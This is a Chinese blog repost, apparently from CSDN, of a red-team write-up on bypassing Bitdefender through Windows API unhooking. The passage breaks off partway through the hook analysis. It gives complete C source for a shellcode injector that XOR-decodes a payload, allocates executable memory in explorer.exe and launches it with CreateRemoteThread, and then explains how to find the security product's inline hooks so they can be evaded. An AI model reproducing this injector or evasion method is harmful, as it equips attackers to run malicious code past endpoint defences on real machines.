openprocess打开进程失败_【渗透实战】如何利用API unhooking执行进程注入,绕过Bitdefender安全检测...

本文介绍了如何通过API unhooking技术来绕过BitDefender的安全检测。在尝试注入explorer.exe的过程中,发现CreateRemoteThread和NtWriteVirtualMemory等函数被hook。通过获取原始函数字节并替换被hook的部分,成功恢复了函数的原始行为,但最终仍未能完全避开安全检测。进一步分析发现,ZwCreateThreadEx也被hook,通过相同方法解除hook后,成功到达CreateRemoteThread函数。
摘要由CSDN通过智能技术生成
a693fddaefb8f8f128aba9db8d10c9e6.png 点击上方蓝字关注我们 1 概述 绕过AV/EDR等端点检测是红队行动过程中的一项重要工作,在开始进行绕过时,我们需要先了解这些防护软件的工作方式。网络上公布了大量安全产品的工作原理以及绕过方法。本文主要分享如何利用Windows API unhooking 技术绕过Bitdefender安全防护软件,以下为演示视频: 2 什么是API Hooking? API  hooking是一种用于拦截和检查win32 API调用的方法。AV / EDR使用此技术来监视win32 API调用,并判断这些调用是否合法。基本上,AV / EDR将通过向解决方案本身控制的自定义模块中,添加JMP指令来更改常规API调用的执行流程,该定制模块将扫描API调用及其参数,并检查它们是否合法。 3 进程注入尝试 利用以下代码对shellcode进行编码:
#include // This code was written for researching purpose, you have to edit it before using it in real-world// This code will deocde your shellcode and write it directly to the memoryint main(int argc, char* argv[]) {
    // Our Shellcodeunsigned char shellcode[] = "MyEncodedshellcode";// Check arguments counterif(argc != 2){
        printf("[+] Usage : decoder.exe [PID]\n");    exit(0);}// The process id we want to inject our code to passed to the executable// Use GetCurrentProcessId() to inject the shellcode into original processint process_id = atoi(argv[1]);// Define the base_address variable which will save the allocated memory addressLPVOID base_address;// Retrive the process handle using OpenProcessHANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);    if (process) {
            printf("[+] Handle retrieved successfully!\n");        printf("[+] Handle value is %p\n", process);        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);        if (base_address) {
                printf("[+] Allocated based address is 0x%x\n", base_address);                // Data chars counter                int i;                // Base address counter                int n = 0;                for(i = 0; i<=sizeof(shellcode); i++){
                        // Decode shellcode opcode (you can edit it based on your encoder settings)                    char DecodedOpCode = shellcode[i] ^ 0x01;                    // Write the decoded bytes in memory address                    if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
                // Write the memory address where the data was written                        printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);                        // Increase memory address by 1                        n++;                    }                }                // Run our code as RemoteThread                CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, NULL, 0x50002);        }        else {
                printf("[+] Unable to allocate memory ..\n");        }    }    else {
            printf("[-] Enable to retrieve process handle\n");    }}

编译该文件并运行来注入explorer.exe的shellcode后,将得到以下信息:

0a6f84b96059df6481d871d21211065e.png

BitDefender检测到该文件的执行情况并进行了拦截 从上图可以看出,BitDefender检测到该文件的执行情况并进行了拦截,同时还删除了“injector.exe”文件。因此,接下我们需要分析上诉代码被拦截的具体原因是什么。 4 hooking检测 重新编译可执行文件并进行调试,以查看是否有任何外部DLL被注入到可执行文件中,结果如下图所示。 f41615c1ec9bcf0209f87f489edabaf3.png

注入的定制模块

从上图可以看出,可执行文件中加载一个名为atcuf64.dll的文件,并且该文件与BitDefender有关。 因此,研究人员开始从最可疑的“CreateRemoteThread ”开始,调试在shellcode注入中调用的主要win32APIs,反汇编结果如下所示。 11d6494400fbec79c3845750d37e8df5.png

CreateRemoteThread的反汇编代码

这里并没有可疑之处,但是从执行流程可以看出,接下来将使用CreateRemoteThreadEx API,因此对其进行反汇编,结果如下所示: b95549d5d00a200094fb1cfc0041a599.png

CreateRemoteThread Hooked

该结果并不寻常,可以看出在API的开头部分有一个JMP指令,如果跟踪执行流程,将看到下列情况:
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值